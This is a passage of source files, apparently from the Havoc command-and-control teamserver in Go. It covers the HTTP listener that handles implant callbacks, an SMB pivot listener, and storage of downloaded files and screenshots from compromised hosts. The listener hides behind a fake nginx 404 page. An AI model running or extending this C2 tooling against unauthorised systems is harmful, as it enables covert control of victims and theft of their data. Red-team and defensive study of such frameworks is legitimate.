Agent.ToMap()\n\t}\n\t\n\t// Update Callback time\n\tif Teamserver.AgentExist(Header.AgentID) {\n\t\tAgent.UpdateLastCallback(Teamserver)\n\t}\n\t\n\tTask = Teamserver.ServiceAgent(Header.MagicValue).SendResponse(AgentData, Header)\n\t//logger.Debug(\"Response:\\n\", hex.Dump(Task))\n\n\t_, err = Response.Write(Task)\n\tif err != nil {\n\t\treturn Response, false\n\t}\n\n\treturn Response, true\n}\n\n// notifyTaskSize\n// notifies every connected operator client how much we send to agent.\nfunc notifyTaskSize(teamserver agent.TeamServer) {\n\n}\n"
  },
  {
    "path": "teamserver/pkg/handlers/http.go",
    "content": "package handlers\n\nimport (\n\t\"context\"\n\t//\"encoding/hex\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\t\"fmt\"\n\n\t\"Havoc/pkg/colors\"\n\t\"Havoc/pkg/common/certs\"\n\t\"Havoc/pkg/common\"\n\t\"Havoc/pkg/logger\"\n\t\"Havoc/pkg/logr\"\n\n\t\"github.com/gin-gonic/gin\"\n)\n\nfunc NewConfigHttp() *HTTP {\n\tvar config = new(HTTP)\n\n\tconfig.GinEngine = gin.New()\n\n\treturn config\n}\n\nfunc (h *HTTP) generateCertFiles() bool {\n\n\tvar (\n\t\terr          error\n\t\tListenerName string\n\t\tListenerPath string\n\t)\n\n\treg, err := regexp.Compile(\"[^a-zA-Z0-9]+\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tListenerName = reg.ReplaceAllString(h.Config.Name, \"\")\n\tListenerPath = logr.LogrInstance.ListenerPath + \"/\" + ListenerName + \"/\"\n\n\tlogger.Debug(\"Listener Path:\", ListenerPath)\n\n\tif _, err := os.Stat(ListenerPath); os.IsNotExist(err) {\n\t\tif err = os.Mkdir(ListenerPath, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr listener \" + h.Config.Name + \" folder: \" + err.Error())\n\t\t\treturn false\n\t\t}\n\t}\n\n\th.TLS.CertPath = ListenerPath + \"server.crt\"\n\th.TLS.KeyPath = ListenerPath + \"server.key\"\n\n\th.TLS.Cert, h.TLS.Key, err = certs.HTTPSGenerateRSACertificate(common.GetInterfaceIpv4Addr(h.Config.HostBind))\n\n\terr = os.WriteFile(h.TLS.CertPath, h.TLS.Cert, 0644)\n\tif err != nil {\n\t\tlogger.Error(\"Couldn't save server cert file: \" + err.Error())\n\t\treturn false\n\t}\n\n\terr = os.WriteFile(h.TLS.KeyPath, h.TLS.Key, 0644)\n\tif err != nil {\n\t\tlogger.Error(\"Couldn't save server key file: \" + err.Error())\n\t\treturn false\n\t}\n\n\tlogger.Debug(\"Successful generated tls certifications\")\n\n\treturn true\n}\n\n// fake nginx 404 page\nfunc (h *HTTP) fake404(ctx *gin.Context) {\n\tctx.Writer.WriteHeader(http.StatusNotFound)\n\thtml, err := os.ReadFile(\"teamserver/pkg/handlers/404.html\")\n\tif err != nil {\n\t\tlogger.Debug(\"Could not read fake 404 page: \" + err.Error())\n\t\treturn\n\t}\n\tctx.Header(\"Server\", \"nginx\")\n\tctx.Header(\"Content-Type\", \"text/html\")\n\tctx.Header(\"X-Havoc\", \"true\")\n\tctx.Writer.Write(html)\n}\n\nfunc (h *HTTP) request(ctx *gin.Context) {\n\tvar ExternalIP string\n\tvar MissingHdr string\n\n\tBody, err := io.ReadAll(ctx.Request.Body)\n\tif err != nil {\n\t\tlogger.Debug(\"Error while reading request: \" + err.Error())\n\t}\n\n\tif h.Config.BehindRedir {\n\t\tExternalIP = ctx.Request.Header.Get(\"X-Forwarded-For\")\n\t} else {\n\t\tExternalIP = strings.Split(ctx.Request.RemoteAddr, \":\")[0]\n\t}\n\n\t/*\n\tlogger.Debug(\"POST \" + ctx.Request.RequestURI)\n\tlogger.Debug(\"Host: \" + ctx.Request.Host)\n\tfor name, values := range ctx.Request.Header {\n\t\tfor _, value := range values {\n\t\t\tlogger.Debug(name + \": \" + value)\n\t\t}\n\t}\n\tlogger.Debug(\"\\n\" + hex.Dump(Body))\n\t*/\n\n\t// check that the headers defined on the profile are present\n\tvalid := true\n\tIgnoreHeaders := [2]string{\"Connection\", \"Accept-Encoding\"}\n\tfor _, Header := range h.Config.Headers {\n\t\tNameValue := strings.Split(Header, \": \")\n\t\tif len(NameValue) > 1 {\n\t\t\tignore := false\n\t\t\tfor _, IgnoreHeader := range IgnoreHeaders {\n\t\t\t\tif strings.ToLower(NameValue[0]) == strings.ToLower(IgnoreHeader) {\n\t\t\t\t\tignore = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ignore == false {\n\t\t\t\t// NOTE: the header value comparison is case insensitive\n\t\t\t\tif strings.ToLower(ctx.Request.Header.Get(NameValue[0])) != strings.ToLower(NameValue[1]) {\n\t\t\t\t\tMissingHdr = NameValue[0] + \": \" + ctx.Request.Header.Get(NameValue[0])\n\t\t\t\t\tvalid = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif valid == false {\n\t\tlogger.Warn(fmt.Sprintf(\"got a request with an invalid header: %s\", MissingHdr))\n\t\th.fake404(ctx)\n\t\treturn\n\t}\n\n\t// check that the URI is defined on the profile\n\tif len(h.Config.Uris) > 0 && ! (len(h.Config.Uris) == 1 && h.Config.Uris[0] == \"\") {\n\t\tvalid = false\n\t\tfor _, Uri := range h.Config.Uris {\n\t\t\tif ctx.Request.RequestURI == Uri {\n\t\t\t\tvalid = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif valid == false {\n\t\t\tlogger.Warn(fmt.Sprintf(\"got a request with an invalid request path: %s\", ctx.Request.RequestURI))\n\t\t\th.fake404(ctx)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// check that the User-Agent is valid\n\tif h.Config.UserAgent != \"\" {\n\t\tif h.Config.UserAgent != ctx.Request.UserAgent() {\n\t\t\tlogger.Warn(fmt.Sprintf(\"got a request with an invalid user agent: %s\", ctx.Request.UserAgent()))\n\t\t\th.fake404(ctx)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// TODO: should we check the Host header?\n\t//       the value might change depending\n\t//       on the redirector setup\n\n\tfor _, Header := range h.Config.Response.Headers {\n\t\tvar hdr = strings.Split(Header, \":\")\n\t\tif len(hdr) > 1 {\n\t\t\tctx.Header(hdr[0], hdr[1])\n\t\t}\n\t}\n\n\tif Response, Success := parseAgentRequest(h.Teamserver, Body, ExternalIP); Success {\n\t\t_, err := ctx.Writer.Write(Response.Bytes())\n\t\tif err != nil {\n\t\t\tlogger.Debug(\"Failed to write to request: \" + err.Error())\n\t\t\th.fake404(ctx)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tlogger.Warn(\"failed to parse agent request\")\n\t\th.fake404(ctx)\n\t\treturn\n\t}\n\n\tctx.AbortWithStatus(http.StatusOK)\n\treturn\n}\n\nfunc (h *HTTP) Start() {\n\tlogger.Debug(\"Setup HTTP/s Server\")\n\n\tif len(h.Config.Hosts) == 0 && h.Config.PortBind == \"\" && h.Config.Name == \"\" {\n\t\tlogger.Error(\"HTTP Hosts/Port/Name not set\")\n\t\treturn\n\t}\n\n\th.GinEngine.POST(\"/*endpoint\", h.request)\n\th.GinEngine.GET(\"/*endpoint\", h.fake404)\n\th.Active = true\n\n\tif h.Config.Secure {\n\t\t// TODO: only generate certs if h.Config.Cert is empty\n\t\tif h.generateCertFiles() {\n\t\t\tlogger.Info(\"Started \\\"\" + colors.Green(h.Config.Name) + \"\\\" listener: \" + colors.BlueUnderline(\"https://\"+common.GetInterfaceIpv4Addr(h.Config.HostBind)+\":\"+h.Config.PortBind))\n\n\t\t\tpk := h.Teamserver.ListenerAdd(\"\", LISTENER_HTTP, h)\n\t\t\th.Teamserver.EventAppend(pk)\n\t\t\th.Teamserver.EventBroadcast(\"\", pk)\n\n\t\t\tgo func() {\n\t\t\t\tvar (\n\t\t\t\t\tCertPath = h.TLS.CertPath\n\t\t\t\t\tKeyPath  = h.TLS.KeyPath\n\t\t\t\t)\n\n\t\t\t\th.Server = &http.Server{\n\t\t\t\t\tAddr:    common.GetInterfaceIpv4Addr(h.Config.HostBind) + \":\" + h.Config.PortBind,\n\t\t\t\t\tHandler: h.GinEngine,\n\t\t\t\t}\n\n\t\t\t\tif h.Config.Cert.Cert != \"\" && h.Config.Cert.Key != \"\" {\n\t\t\t\t\tCertPath = h.Config.Cert.Cert\n\t\t\t\t\tKeyPath = h.Config.Cert.Key\n\t\t\t\t}\n\n\t\t\t\terr := h.Server.ListenAndServeTLS(CertPath, KeyPath)\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err == http.ErrServerClosed {\n\t\t\t\t\t\th.Active = false\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.Error(\"Couldn't start HTTPs handler: \" + err.Error())\n\t\t\t\t\t\th.Active = false\n\t\t\t\t\t\th.Teamserver.EventListenerError(h.Config.Name, err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}()\n\t\t} else {\n\t\t\tlogger.Error(\"Failed to generate server tls certifications\")\n\t\t}\n\t} else {\n\t\tlogger.Info(\"Started \\\"\" + colors.Green(h.Config.Name) + \"\\\" listener: \" + colors.BlueUnderline(\"http://\"+common.GetInterfaceIpv4Addr(h.Config.HostBind)+\":\"+h.Config.PortBind))\n\n\t\tpk := h.Teamserver.ListenerAdd(\"\", LISTENER_HTTP, h)\n\t\th.Teamserver.EventAppend(pk)\n\t\th.Teamserver.EventBroadcast(\"\", pk)\n\n\t\tgo func() {\n\t\t\th.Server = &http.Server{\n\t\t\t\tAddr:    common.GetInterfaceIpv4Addr(h.Config.HostBind) + \":\" + h.Config.PortBind,\n\t\t\t\tHandler: h.GinEngine,\n\t\t\t}\n\n\t\t\terr := h.Server.ListenAndServe()\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Couldn't start HTTP handler: \" + err.Error())\n\t\t\t\th.Active = false\n\t\t\t\th.Teamserver.EventListenerError(h.Config.Name, err)\n\t\t\t}\n\t\t}()\n\t}\n}\n\nfunc (h *HTTP) Stop() error {\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tif err := h.Server.Shutdown(ctx); err != nil {\n\t\treturn err\n\t}\n\t// catching ctx.Done(). timeout of 5 seconds.\n\tselect {\n\tcase <-ctx.Done():\n\t\tlogger.Debug(\"timeout of 5 seconds.\")\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "teamserver/pkg/handlers/smb.go",
    "content": "package handlers\n\nimport (\n    \"Havoc/pkg/colors\"\n    \"Havoc/pkg/logger\"\n)\n\nfunc NewPivotSmb() *SMB {\n    var Smb = new(SMB)\n\n    return Smb\n}\n\nfunc (s *SMB) Start() {\n    logger.Info(\"Started \\\"\" + colors.Green(s.Config.Name) + \"\\\" listener\")\n\n    pk := s.Teamserver.ListenerAdd(\"\", LISTENER_PIVOT_SMB, s)\n    s.Teamserver.EventAppend(pk)\n    s.Teamserver.EventBroadcast(\"\", pk)\n}\n"
  },
  {
    "path": "teamserver/pkg/handlers/types.go",
    "content": "package handlers\n\nimport (\n\t\"net/http\"\n\n\t\"Havoc/pkg/agent\"\n\n\t\"github.com/gin-gonic/gin\"\n)\n\ntype (\n\tHTTPConfig struct {\n\t\tName         string\n\t\tKillDate     int64\n\t\tWorkingHours string\n\t\tHosts        []string\n\t\tHostBind     string\n\t\tMethode      string\n\t\tHostRotation string\n\t\tPortBind     string\n\t\tPortConn     string\n\t\tBehindRedir  bool\n\t\tUserAgent    string\n\t\tHeaders      []string\n\t\tUris         []string\n\t\tHostHeader   string\n\t\tSecure       bool\n\n\t\tCert struct {\n\t\t\tCert string\n\t\t\tKey  string\n\t\t}\n\n\t\tProxy struct {\n\t\t\tEnabled  bool\n\t\t\tType     string\n\t\t\tHost     string\n\t\t\tPort     string\n\t\t\tUsername string\n\t\t\tPassword string\n\t\t}\n\n\t\tResponse struct {\n\t\t\tHeaders []string\n\t\t}\n\t}\n\n\tExternalConfig struct {\n\t\tName     string\n\t\tEndpoint string\n\t}\n\n\tSMBConfig struct {\n\t\tName         string\n\t\tPipeName     string\n\t\tKillDate     int64\n\t\tWorkingHours string\n\t}\n)\n\ntype (\n\tHTTP struct {\n\t\tConfig HTTPConfig\n\n\t\tGinEngine *gin.Engine\n\t\tServer    *http.Server\n\n\t\tTLS struct {\n\t\t\tCert []byte\n\t\t\tKey  []byte\n\n\t\t\tCertPath string\n\t\t\tKeyPath  string\n\t\t}\n\n\t\tTeamserver agent.TeamServer\n\n\t\tActive bool\n\t}\n\n\tSMB struct {\n\t\tConfig SMBConfig\n\n\t\tTeamserver  agent.TeamServer\n\t\tParentChild []struct {\n\t\t\tParent any\n\t\t\tChild  any\n\t\t}\n\t}\n\n\tExternal struct {\n\t\tConfig ExternalConfig\n\n\t\tengine     *gin.Engine\n\t\tTeamserver agent.TeamServer\n\t\tData       map[string]any\n\t}\n\n\tService struct {\n\t\tService any\n\t\tInfo    map[string]any\n\t}\n)\n\nconst (\n\tLISTENER_HTTP      = 1\n\tLISTENER_PIVOT_SMB = 2\n\tLISTENER_EXTERNAL  = 3\n\tLISTENER_SERVICE   = 4\n\n\tAGENT_HTTPS     = \"Https\"\n\tAGENT_HTTP      = \"Http\"\n\tAGENT_EXTERNAL  = \"External\"\n\tAGENT_PIVOT_SMB = \"Smb\"\n)\n"
  },
  {
    "path": "teamserver/pkg/logger/global.go",
    "content": "package logger\n\nimport (\n    \"io\"\n    \"log\"\n    \"os\"\n)\n\nvar LoggerInstance *Logger\n\nfunc init() {\n    LoggerInstance = NewLogger(os.Stdout)\n}\n\nfunc NewLogger(StdOut io.Writer) *Logger {\n    var logger = new(Logger)\n\n    logger.STDOUT = os.Stdout\n    logger.STDERR = os.Stderr\n    logger.showTime = true\n    logger.debug = false\n    logger.log = log.New(StdOut, \"\", 0)\n\n    return logger\n}\n\nfunc Info(args ...interface{}) {\n    LoggerInstance.Info(args...)\n}\n\nfunc Good(args ...interface{}) {\n    LoggerInstance.Good(args...)\n}\n\nfunc Debug(args ...interface{}) {\n    LoggerInstance.Debug(args...)\n}\n\nfunc DebugError(args ...interface{}) {\n    LoggerInstance.DebugError(args...)\n}\n\nfunc Warn(args ...interface{}) {\n    LoggerInstance.Warn(args...)\n}\n\nfunc Error(args ...interface{}) {\n    LoggerInstance.Error(args...)\n}\n\nfunc Fatal(args ...interface{}) {\n    LoggerInstance.Fatal(args...)\n}\n\nfunc Panic(args ...interface{}) {\n    LoggerInstance.Panic(args...)\n}\n\nfunc SetDebug(enable bool) {\n    LoggerInstance.SetDebug(enable)\n}\n\nfunc ShowTime(time bool) {\n    LoggerInstance.ShowTime(time)\n}\n\nfunc SetStdOut(w io.Writer) {\n    LoggerInstance.log.SetOutput(w)\n}\n"
  },
  {
    "path": "teamserver/pkg/logger/logger.go",
    "content": "package logger\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"os\"\n    \"runtime\"\n    \"strconv\"\n    \"strings\"\n    \"time\"\n\n    \"Havoc/pkg/colors\"\n)\n\nfunc FunctionTrace() (string, int) {\n    var (\n        frame    runtime.Frame\n        frames   *runtime.Frames\n        caller   = make([]uintptr, 15)\n        callNums int\n    )\n\n    callNums = runtime.Callers(2, caller)\n\n    frames = runtime.CallersFrames(caller[:callNums])\n\n    frame, _ = frames.Next()\n    frame, _ = frames.Next()\n    frame, _ = frames.Next()\n\n    return frame.Function, frame.Line\n}\n\ntype Logger struct {\n    STDOUT *os.File\n    STDERR *os.File\n\n    log      *log.Logger\n    showTime bool\n    debug    bool\n}\n\nfunc (logger *Logger) Info(args ...interface{}) {\n    if logger.showTime {\n        logger.log.SetPrefix(\"[\" + colors.Green(time.Now().Format(\"15:04:05\")) + \"] [\" + colors.Blue(\"INFO\") + \"] \")\n    } else {\n        logger.log.SetPrefix(\"[\" + colors.Blue(\"INFO\") + \"] \")\n    }\n    logger.log.Println(args...)\n}\n\nfunc (logger *Logger) Good(args ...interface{}) {\n    if logger.showTime {\n        logger.log.SetPrefix(\"[\" + colors.Green(time.Now().Format(\"15:04:05\")) + \"] [\" + colors.Green(\"GOOD\") + \"] \")\n    } else {\n        logger.log.SetPrefix(\"[\" + colors.Green(\"GOOD\") + \"] \")\n    }\n    logger.log.Println(args...)\n}\n\nfunc (logger *Logger) Debug(args ...interface{}) {\n    var Trace, Line = FunctionTrace()\n    var Functions = strings.Split(Trace, \"/\")\n    if logger.debug {\n        if logger.showTime {\n            logger.log.SetPrefix(\"[\" + colors.Green(time.Now().Format(\"15:04:05\")) + \"] [\" + colors.Yellow(\"DBUG\") + \"] [\" + colors.BlueUnderline(Functions[len(Functions)-1]+\":\"+strconv.Itoa(Line)) + \"]: \")\n        } else {\n            logger.log.SetPrefix(\"[\" + colors.Yellow(\"DBUG\") + \"] [\" + Functions[len(Functions)-1] + \":\" + fmt.Sprintf(\"%03d\", Line) + \"]: \")\n        }\n        logger.log.Println(args...)\n    }\n}\n\nfunc (logger *Logger) DebugError(args ...interface{}) {\n    var Trace, Line = FunctionTrace()\n    var Functions = strings.Split(Trace, \"/\")\n    if logger.debug {\n        if logger.showTime {\n            logger.log.SetPrefix(\"[\" + colors.Green(time.Now().Format(\"15:04:05\")) + \"] [\" + colors.BoldRed(\"DBER\") + \"] [\" + colors.BlueUnderline(Functions[len(Functions)-1]+\":\"+strconv.Itoa(Line)) + \"]: \")\n        } else {\n            logger.log.SetPrefix(\"[\" + colors.BoldRed(\"DBER\") + \"] [\" + Functions[len(Functions)-1] + \":\" + fmt.Sprintf(\"%03d\", Line) + \"]: \")\n        }\n        logger.log.Println(args...)\n    }\n}\n\nfunc (logger *Logger) Warn(args ...interface{}) {\n    if logger.showTime {\n        logger.log.SetPrefix(\"[\" + colors.Green(time.Now().Format(\"15:04:05\")) + \"] [\" + colors.Yellow(\"WARN\") + \"] \")\n    } else {\n        logger.log.SetPrefix(\"[\" + colors.Yellow(\"WARN\") + \"] \")\n    }\n    logger.log.Println(args...)\n}\n\nfunc (logger *Logger) Error(args ...interface{}) {\n    if logger.showTime {\n        logger.log.SetPrefix(\"[\" + colors.Green(time.Now().Format(\"15:04:05\")) + \"] [\" + colors.Red(\"ERRO\") + \"] \")\n    } else {\n        logger.log.SetPrefix(\"[\" + colors.Red(\"ERRO\") + \"] \")\n    }\n    logger.log.Println(args...)\n}\n\nfunc (logger *Logger) Fatal(args ...interface{}) {\n    if logger.showTime {\n        logger.log.SetPrefix(\"[\" + colors.Green(time.Now().Format(\"15:04:05\")) + \"] [\" + colors.BoldRed(\"FATA\") + \"] \")\n    } else {\n        logger.log.SetPrefix(\"[\" + colors.BoldRed(\"FATA\") + \"] \")\n    }\n    logger.log.Println(args...)\n    os.Exit(1)\n}\n\nfunc (logger *Logger) Panic(args ...interface{}) {\n    if logger.showTime {\n        logger.log.SetPrefix(\"[\" + colors.Green(time.Now().Format(\"15:04:05\")) + \"] [\" + colors.BoldRed(\"PANIC\") + \"] \")\n    } else {\n        logger.log.SetPrefix(\"[\" + colors.BoldRed(\"PANIC\") + \"] \")\n    }\n    logger.log.Println(args...)\n    panic(args)\n}\n\nfunc (logger *Logger) SetDebug(enable bool) {\n    logger.debug = enable\n}\n\nfunc (logger *Logger) ShowTime(time bool) {\n    logger.showTime = time\n}\n"
  },
  {
    "path": "teamserver/pkg/logr/demon.go",
    "content": "package logr\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"Havoc/pkg/common\"\n\t\"Havoc/pkg/logger\"\n)\n\nfunc (l Logr) AddAgentInput(AgentType, AgentID, User, TaskID, Input string, time string) {\n\tvar (\n\t\tDemonPath    = l.AgentPath + \"/\" + AgentID\n\t\tDemonLogFile = DemonPath + \"/Console_\" + AgentID + \".log\"\n\t\tInputString  string\n\t)\n\n\t// check if we don't have a path traversal\n\tpath := filepath.Clean(DemonLogFile)\n\tif !strings.HasPrefix(path, DemonPath) {\n\t\tlogger.Error(\"File didn't started with agent loot path. abort\")\n\t\treturn\n\t}\n\n\tif _, err := os.Stat(DemonPath); os.IsNotExist(err) {\n\t\tif err = os.Mkdir(DemonPath, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr demon \" + AgentID + \" folder: \" + err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\n\tf, err := os.OpenFile(DemonLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tInputString = fmt.Sprintf(\"\\n[Time: %v] [User: %v] [TaskID: %v] %v => %v\\n\", time, User, TaskID, AgentType, Input)\n\n\t_, err = f.Write([]byte(InputString))\n\tif err != nil {\n\t\tlogger.Error(\"Failed to write to File [\" + DemonLogFile + \"]: \" + err.Error())\n\t\treturn\n\t}\n}\n\nfunc (l Logr) AddAgentRaw(AgentID, Raw string) {\n\tvar (\n\t\tDemonPath    = l.AgentPath + \"/\" + AgentID\n\t\tDemonLogFile = DemonPath + \"/Console_\" + AgentID + \".log\"\n\t)\n\n\t// check if we don't have a path traversal\n\tpath := filepath.Clean(DemonLogFile)\n\tif !strings.HasPrefix(path, DemonPath) {\n\t\tlogger.Error(\"File didn't started with agent loot path. abort\")\n\t\treturn\n\t}\n\n\tif _, err := os.Stat(DemonPath); os.IsNotExist(err) {\n\t\tif err = os.Mkdir(DemonPath, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr demon \" + AgentID + \" folder: \" + err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\n\tf, err := os.OpenFile(DemonLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t_, err = f.Write([]byte(Raw))\n\tif err != nil {\n\t\tlogger.Error(\"Failed to write to File [\" + DemonLogFile + \"]: \" + err.Error())\n\t\treturn\n\t}\n}\n\nfunc (l Logr) DemonAddOutput(DemonID string, Output map[string]string, time string) {\n\tvar (\n\t\tDemonPath    = l.AgentPath + \"/\" + filepath.Clean(DemonID)\n\t\tDemonLogFile = DemonPath + \"/Console_\" + DemonID + \".log\"\n\t)\n\n\t// check if we don't have a path traversal\n\tpath := filepath.Clean(DemonLogFile)\n\tif !strings.HasPrefix(path, DemonPath) {\n\t\tlogger.Error(\"File didn't started with agent loot path. abort\")\n\t\treturn\n\t}\n\n\tif _, err := os.Stat(DemonPath); os.IsNotExist(err) {\n\t\tif err = os.Mkdir(DemonPath, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr demon \" + DemonID + \" folder: \" + err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\n\tf, err := os.OpenFile(DemonLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tvar OutputString string\n\n\tif len(Output[\"Message\"]) > 0 {\n\n\t\tif Output[\"Type\"] == \"Good\" {\n\t\t\tOutputString = fmt.Sprintf(\"[%v] [+] %v\\n\", time, Output[\"Message\"])\n\t\t} else if Output[\"Type\"] == \"Error\" {\n\t\t\tOutputString = fmt.Sprintf(\"[%v] [-] %v\\n\", time, Output[\"Message\"])\n\t\t} else if Output[\"Type\"] == \"Info\" {\n\t\t\tOutputString = fmt.Sprintf(\"[%v] [*] %v\\n\", time, Output[\"Message\"])\n\t\t} else {\n\t\t\tOutputString = fmt.Sprintf(\"[%v] [^] %v\\n\", time, Output[\"Message\"])\n\t\t}\n\n\t}\n\n\tif len(Output[\"Output\"]) > 0 {\n\t\tOutputString += Output[\"Output\"]\n\t}\n\n\t_, err = f.Write([]byte(OutputString))\n\tif err != nil {\n\t\tlogger.Error(\"Failed to write to File [\" + DemonLogFile + \"]: \" + err.Error())\n\t\treturn\n\t}\n}\n\nfunc (l Logr) DemonAddDownloadedFile(DemonID, FileName string, FileBytes []byte) {\n\tvar (\n\t\tDemonPath        = l.AgentPath + \"/\" + DemonID\n\t\tDemonDownloadDir = DemonPath + \"/Download\"\n\t\tDemonDownload    = DemonDownloadDir + \"/\" + FileName\n\t)\n\n\t// check if we don't have a path traversal\n\tpath := filepath.Clean(DemonDownload)\n\tif !strings.HasPrefix(path, DemonDownloadDir) {\n\t\tlogger.Error(\"File didn't started with agent download path. abort\")\n\t\treturn\n\t}\n\n\tif _, err := os.Stat(DemonPath); os.IsNotExist(err) {\n\t\tif err = os.Mkdir(DemonPath, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr demon \" + DemonID + \" folder: \" + err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\n\tif _, err := os.Stat(DemonDownloadDir); os.IsNotExist(err) {\n\t\tif err = os.Mkdir(DemonDownloadDir, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr demon \" + DemonID + \" download folder: \" + err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\n\tf, err := os.Create(DemonDownload)\n\tif err != nil {\n\t\tlogger.Error(\"Failed to create file: \" + err.Error())\n\t\treturn\n\t}\n\n\tdefer f.Close()\n\n\t_, err = f.Write(FileBytes)\n\tif err != nil {\n\t\tlogger.Error(\"Failed to write png file: \" + err.Error())\n\t\treturn\n\t}\n}\n\nfunc (l Logr) DemonSaveScreenshot(DemonID, Name string, BmpBytes []byte) error {\n\tvar (\n\t\tDemonPath          = l.AgentPath + \"/\" + DemonID\n\t\tDemonScreenshotDir = DemonPath + \"/Screenshots\"\n\t\tDemonScreenshot    = DemonScreenshotDir + \"/\" + Name\n\t)\n\n\t// check if we don't have a path traversal\n\tpath := filepath.Clean(DemonScreenshot)\n\tif !strings.HasPrefix(path, DemonScreenshotDir) {\n\t\tlogger.Error(\"File didn't started with agent screenshot path. abort\")\n\t\treturn errors.New(\"file didn't started with agent screenshot path. abort\")\n\t}\n\n\tif _, err := os.Stat(DemonPath); os.IsNotExist(err) {\n\t\tif err = os.Mkdir(DemonPath, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr demon \" + DemonID + \" folder: \" + err.Error())\n\t\t\treturn errors.New(\"Failed to create Logr demon \" + DemonID + \" folder: \" + err.Error())\n\t\t}\n\t}\n\n\tif _, err := os.Stat(DemonScreenshotDir); os.IsNotExist(err) {\n\t\tif err = os.Mkdir(DemonScreenshotDir, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr demon \" + DemonID + \" screenshot folder: \" + err.Error())\n\t\t\treturn errors.New(\"Failed to create Logr demon \" + DemonID + \" screenshot folder: \" + err.Error())\n\t\t}\n\t}\n\n\tf, err := os.Create(DemonScreenshot)\n\tif err != nil {\n\t\tlogger.Error(\"Failed to create file: \" + err.Error())\n\t\treturn errors.New(\"Failed to create file: \" + err.Error())\n\t}\n\n\tdefer f.Close()\n\n\t_, err = f.Write(common.Bmp2Png(BmpBytes))\n\tif err != nil {\n\t\tlogger.Error(\"Failed to write png file: \" + err.Error())\n\t\treturn errors.New(\"Failed to write png file: \" + err.Error())\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "teamserver/pkg/logr/listener.go",
    "content": "package logr\n\nfunc (l Logr) ListenerAddKeyCert(Name, Key, Cert string) {\n\n}\n"
  },
  {
    "path": "teamserver/pkg/logr/logr.go",
    "content": "package logr\n\nimport (\n\t\"os\"\n\n\t\"Havoc/pkg/logger\"\n)\n\ntype Logr struct {\n\t// Path to directory where everything is going to be logged (user chat, input/output from agent)\n\tPath         string\n\tListenerPath string\n\tAgentPath    string\n\tServerPath   string\n\n\tLogrSendText func(text string)\n}\n\nvar LogrInstance *Logr\n\nfunc NewLogr(Server, Path string) *Logr {\n\tvar (\n\t\tlogr = new(Logr)\n\t\terr  error\n\t)\n\n\tlogr.ServerPath = Server\n\tlogr.Path = Server + \"/\" + Path\n\tlogr.ListenerPath = Path + \"/listener\"\n\tlogr.AgentPath = Path + \"/agents\"\n\n\tif _, err = os.Stat(Path); os.IsNotExist(err) {\n\t\tif err = os.MkdirAll(Path, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr folder: \" + err.Error())\n\t\t\treturn nil\n\t\t}\n\t} else {\n\t\terr = os.RemoveAll(Path)\n\t\tif err == nil {\n\t\t\tif err = os.MkdirAll(Path, os.ModePerm); err != nil {\n\t\t\t\tlogger.Error(\"Failed to create Logr folder: \" + err.Error())\n\t\t\t\treturn nil\n\t\t\t}\n\t\t} else {\n\t\t\tlogger.Error(err.Error())\n\t\t}\n\t}\n\n\tif _, err = os.Stat(logr.AgentPath); os.IsNotExist(err) {\n\t\tif err = os.MkdirAll(logr.AgentPath, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr agent folder: \" + err.Error())\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif _, err = os.Stat(logr.ListenerPath); os.IsNotExist(err) {\n\t\tif err = os.MkdirAll(logr.ListenerPath, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr listener folder: \" + err.Error())\n\t\t\treturn nil\n\t\t}\n\t}\n\n\treturn logr\n}\n"
  },
  {
    "path": "teamserver/pkg/logr/server.go",
